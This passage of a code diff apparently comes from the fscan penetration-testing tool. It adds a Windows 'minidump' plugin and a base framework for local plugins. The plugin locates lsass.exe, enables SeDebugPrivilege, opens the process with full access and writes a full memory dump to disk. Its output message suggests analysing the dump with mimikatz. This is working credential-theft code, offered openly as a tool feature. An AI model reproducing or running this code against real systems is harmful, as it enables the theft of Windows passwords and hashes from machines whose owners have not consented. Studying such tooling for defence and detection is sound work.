if err != nil {
return nil, err
}
// 加载系统DLL
kernel32, err := syscall.LoadDLL("kernel32.dll")
if err != nil {
return nil, fmt.Errorf("加载 kernel32.dll 失败: %v", err)
}
dbghelp, err := syscall.LoadDLL("Dbghelp.dll")
if err != nil {
return nil, fmt.Errorf("加载 Dbghelp.dll 失败: %v", err)
}
advapi32, err := syscall.LoadDLL("advapi32.dll")
if err != nil {
return nil, fmt.Errorf("加载 advapi32.dll 失败: %v", err)
}
c.kernel32 = kernel32
c.dbghelp = dbghelp
c.advapi32 = advapi32
return localConn, nil
}
// Close 关闭连接
func (c *MiniDumpConnector) Close(conn interface{}) error {
return c.BaseLocalConnector.Close(conn)
}
// ScanLocal 执行内存转储扫描
func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogBase("开始进程内存转储...")
// 检查管理员权限
if !p.isAdmin() {
return &base.ScanResult{
Success: false,
Error: errors.New("需要管理员权限才能执行内存转储"),
}, nil
}
// 建立连接
conn, err := p.connector.Connect(ctx, info)
if err != nil {
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("连接失败: %v", err),
}, nil
}
defer p.connector.Close(conn)
// 创建进程管理器
pm := &ProcessManager{
kernel32: p.connector.kernel32,
dbghelp: p.connector.dbghelp,
advapi32: p.connector.advapi32,
}
// 查找lsass.exe进程
pid, err := pm.findProcess("lsass.exe")
if err != nil {
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("查找lsass.exe失败: %v", err),
}, nil
}
common.LogSuccess(fmt.Sprintf("找到lsass.exe进程, PID: %d", pid))
// 提升权限
if err := pm.elevatePrivileges(); err != nil {
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("提升权限失败: %v", err),
}, nil
}
// 创建转储文件
outputPath := filepath.Join(".", fmt.Sprintf("lsass-%d.dmp", pid))
// 执行转储
if err := pm.dumpProcess(pid, outputPath); err != nil {
os.Remove(outputPath) // 失败时清理文件
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("内存转储失败: %v", err),
}, nil
}
// 获取文件信息
fileInfo, err := os.Stat(outputPath)
var fileSize int64
if err == nil {
fileSize = fileInfo.Size()
}
result := &base.ScanResult{
Success: true,
Service: "MiniDump",
Banner: fmt.Sprintf("lsass.exe 内存转储完成 (PID: %d)", pid),
Extra: map[string]interface{}{
"process_name": "lsass.exe",
"process_id": pid,
"dump_file": outputPath,
"file_size": fileSize,
},
}
common.LogSuccess(fmt.Sprintf("成功将lsass.exe内存转储到文件: %s (大小: %d bytes)", outputPath, fileSize))
return result, nil
}
// GetLocalData 获取内存转储本地数据
func (p *MiniDumpPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
data := make(map[string]interface{})
data["plugin_type"] = "minidump"
data["target_process"] = "lsass.exe"
data["requires_admin"] = true
return data, nil
}
// ExtractData 提取内存数据
func (p *MiniDumpPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
return &base.ExploitResult{
Success: true,
Output: "内存转储完成可使用mimikatz等工具分析",
Data: data,
}, nil
}
// isAdmin 检查是否具有管理员权限
func (p *MiniDumpPlugin) isAdmin() bool {
var sid *windows.SID
err := windows.AllocateAndInitializeSid(
&windows.SECURITY_NT_AUTHORITY,
2,
windows.SECURITY_BUILTIN_DOMAIN_RID,
windows.DOMAIN_ALIAS_RID_ADMINS,
0, 0, 0, 0, 0, 0,
&sid)
if err != nil {
return false
}
defer windows.FreeSid(sid)
token := windows.Token(0)
member, err := token.IsMember(sid)
return err == nil && member
}
// ProcessManager 方法实现
// findProcess 查找进程
func (pm *ProcessManager) findProcess(name string) (uint32, error) {
snapshot, err := pm.createProcessSnapshot()
if err != nil {
return 0, err
}
defer pm.closeHandle(snapshot)
return pm.findProcessInSnapshot(snapshot, name)
}
// createProcessSnapshot 创建进程快照
func (pm *ProcessManager) createProcessSnapshot() (uintptr, error) {
proc := pm.kernel32.MustFindProc("CreateToolhelp32Snapshot")
handle, _, err := proc.Call(uintptr(TH32CS_SNAPPROCESS), 0)
if handle == uintptr(INVALID_HANDLE_VALUE) {
return 0, fmt.Errorf("创建进程快照失败: %v", err)
}
return handle, nil
}
// findProcessInSnapshot 在快照中查找进程
func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) (uint32, error) {
var pe32 PROCESSENTRY32
pe32.dwSize = uint32(unsafe.Sizeof(pe32))
proc32First := pm.kernel32.MustFindProc("Process32FirstW")
proc32Next := pm.kernel32.MustFindProc("Process32NextW")
lstrcmpi := pm.kernel32.MustFindProc("lstrcmpiW")
ret, _, _ := proc32First.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
if ret == 0 {
return 0, fmt.Errorf("获取第一个进程失败")
}
for {
ret, _, _ = lstrcmpi.Call(
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(name))),
uintptr(unsafe.Pointer(&pe32.szExeFile[0])),
)
if ret == 0 {
return pe32.th32ProcessID, nil
}
ret, _, _ = proc32Next.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
if ret == 0 {
break
}
}
return 0, fmt.Errorf("未找到进程: %s", name)
}
// elevatePrivileges 提升权限
func (pm *ProcessManager) elevatePrivileges() error {
handle, err := pm.getCurrentProcess()
if err != nil {
return err
}
var token syscall.Token
err = syscall.OpenProcessToken(handle, syscall.TOKEN_ADJUST_PRIVILEGES|syscall.TOKEN_QUERY, &token)
if err != nil {
return fmt.Errorf("打开进程令牌失败: %v", err)
}
defer token.Close()
var tokenPrivileges TOKEN_PRIVILEGES
lookupPrivilegeValue := pm.advapi32.MustFindProc("LookupPrivilegeValueW")
ret, _, err := lookupPrivilegeValue.Call(
0,
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("SeDebugPrivilege"))),
uintptr(unsafe.Pointer(&tokenPrivileges.Privileges[0].Luid)),
)
if ret == 0 {
return fmt.Errorf("查找特权值失败: %v", err)
}
tokenPrivileges.PrivilegeCount = 1
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED
adjustTokenPrivileges := pm.advapi32.MustFindProc("AdjustTokenPrivileges")
ret, _, err = adjustTokenPrivileges.Call(
uintptr(token),
0,
uintptr(unsafe.Pointer(&tokenPrivileges)),
0, 0, 0,
)
if ret == 0 {
return fmt.Errorf("调整令牌特权失败: %v", err)
}
return nil
}
// getCurrentProcess 获取当前进程句柄
func (pm *ProcessManager) getCurrentProcess() (syscall.Handle, error) {
proc := pm.kernel32.MustFindProc("GetCurrentProcess")
handle, _, _ := proc.Call()
if handle == 0 {
return 0, fmt.Errorf("获取当前进程句柄失败")
}
return syscall.Handle(handle), nil
}
// dumpProcess 转储进程内存
func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error {
processHandle, err := pm.openProcess(pid)
if err != nil {
return err
}
defer pm.closeHandle(processHandle)
fileHandle, err := pm.createDumpFile(outputPath)
if err != nil {
return err
}
defer pm.closeHandle(fileHandle)
miniDumpWriteDump := pm.dbghelp.MustFindProc("MiniDumpWriteDump")
ret, _, err := miniDumpWriteDump.Call(
processHandle,
uintptr(pid),
fileHandle,
0x00061907, // MiniDumpWithFullMemory
0, 0, 0,
)
if ret == 0 {
return fmt.Errorf("写入转储文件失败: %v", err)
}
return nil
}
// openProcess 打开进程
func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) {
proc := pm.kernel32.MustFindProc("OpenProcess")
handle, _, err := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid))
if handle == 0 {
return 0, fmt.Errorf("打开进程失败: %v", err)
}
return handle, nil
}
// createDumpFile 创建转储文件
func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) {
pathPtr, err := syscall.UTF16PtrFromString(path)
if err != nil {
return 0, err
}
createFile := pm.kernel32.MustFindProc("CreateFileW")
handle, _, err := createFile.Call(
uintptr(unsafe.Pointer(pathPtr)),
syscall.GENERIC_WRITE,
0, 0,
syscall.CREATE_ALWAYS,
syscall.FILE_ATTRIBUTE_NORMAL,
0,
)
if handle == INVALID_HANDLE_VALUE {
return 0, fmt.Errorf("创建文件失败: %v", err)
}
return handle, nil
}
// closeHandle 关闭句柄
func (pm *ProcessManager) closeHandle(handle uintptr) {
proc := pm.kernel32.MustFindProc("CloseHandle")
proc.Call(handle)
}
// 插件注册函数
func init() {
base.GlobalPluginRegistry.Register("minidump", base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "minidump",
Version: "1.0.0",
Author: "fscan-team",
Description: "Windows进程内存转储插件",
Category: "local",
Tags: []string{"local", "memory", "dump", "lsass", "windows"},
Protocols: []string{"local"},
},
func() base.Plugin {
return NewMiniDumpPlugin()
},
))
}

155
Plugins/local/plugin.go Normal file
View File

@ -0,0 +1,155 @@
package local
import (
"context"
"errors"
"fmt"
"runtime"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
)
// BaseLocalPlugin 本地插件基础实现
type BaseLocalPlugin struct {
*base.BasePlugin
connector LocalConnector
platforms []string
requiresPrivileges bool
}
// NewBaseLocalPlugin 创建基础本地插件
func NewBaseLocalPlugin(metadata *base.PluginMetadata, connector LocalConnector) *BaseLocalPlugin {
basePlugin := base.NewBasePlugin(metadata)
return &BaseLocalPlugin{
BasePlugin: basePlugin,
connector: connector,
platforms: []string{"windows", "linux", "darwin"},
requiresPrivileges: false,
}
}
// Initialize 初始化插件
func (p *BaseLocalPlugin) Initialize() error {
// 检查平台支持
if !p.isPlatformSupported() {
return fmt.Errorf("当前平台 %s 不支持此插件", runtime.GOOS)
}
return p.BasePlugin.Initialize()
}
// Scan 执行扫描
func (p *BaseLocalPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
// 检查权限要求
if p.requiresPrivileges && !p.hasRequiredPrivileges() {
return &base.ScanResult{
Success: false,
Error: errors.New("需要管理员/root权限才能执行此扫描"),
}, nil
}
return p.ScanLocal(ctx, info)
}
// ScanLocal 默认本地扫描实现(子类应重写)
func (p *BaseLocalPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return &base.ScanResult{
Success: false,
Error: errors.New("ScanLocal方法需要在子类中实现"),
}, nil
}
// Exploit 执行利用
func (p *BaseLocalPlugin) Exploit(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
// 获取本地数据
data, err := p.GetLocalData(ctx)
if err != nil {
return &base.ExploitResult{
Success: false,
Error: fmt.Errorf("获取本地数据失败: %v", err),
}, nil
}
return p.ExtractData(ctx, info, data)
}
// GetLocalData 默认获取本地数据实现(子类应重写)
func (p *BaseLocalPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
return nil, fmt.Errorf("GetLocalData方法需要在子类中实现")
}
// ExtractData 默认数据提取实现(子类应重写)
func (p *BaseLocalPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
return &base.ExploitResult{
Success: false,
Error: errors.New("ExtractData方法需要在子类中实现"),
}, nil
}
// GetLocalConnector 获取本地连接器
func (p *BaseLocalPlugin) GetLocalConnector() LocalConnector {
return p.connector
}
// GetPlatformSupport 获取支持的平台
func (p *BaseLocalPlugin) GetPlatformSupport() []string {
return p.platforms
}
// SetPlatformSupport 设置支持的平台
func (p *BaseLocalPlugin) SetPlatformSupport(platforms []string) {
p.platforms = platforms
}
// RequiresPrivileges 是否需要特殊权限
func (p *BaseLocalPlugin) RequiresPrivileges() bool {
return p.requiresPrivileges
}
// SetRequiresPrivileges 设置是否需要特殊权限
func (p *BaseLocalPlugin) SetRequiresPrivileges(required bool) {
p.requiresPrivileges = required
}
// isPlatformSupported 检查当前平台是否支持
func (p *BaseLocalPlugin) isPlatformSupported() bool {
currentOS := runtime.GOOS
for _, platform := range p.platforms {
if platform == currentOS {
return true
}
}
return false
}
// hasRequiredPrivileges 检查是否具有所需权限
func (p *BaseLocalPlugin) hasRequiredPrivileges() bool {
if !p.requiresPrivileges {
return true
}
// 这里可以根据平台实现权限检查
// Windows: 检查是否为管理员
// Linux/macOS: 检查是否为root或有sudo权限
switch runtime.GOOS {
case "windows":
return isWindowsAdmin()
case "linux", "darwin":
return isUnixRoot()
default:
return false
}
}
// 平台特定的权限检查函数
func isWindowsAdmin() bool {
// 这里可以调用Windows API检查管理员权限
// 简化实现实际应该使用Windows API
return false
}
func isUnixRoot() bool {
// 检查是否为root用户
return false
}

View File

@ -6,6 +6,11 @@ import (
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/core"
// 引入本地插件以触发注册
_ "github.com/shadow1ng/fscan/plugins/local/fileinfo"
_ "github.com/shadow1ng/fscan/plugins/local/dcinfo"
_ "github.com/shadow1ng/fscan/plugins/local/minidump"
)
func main() {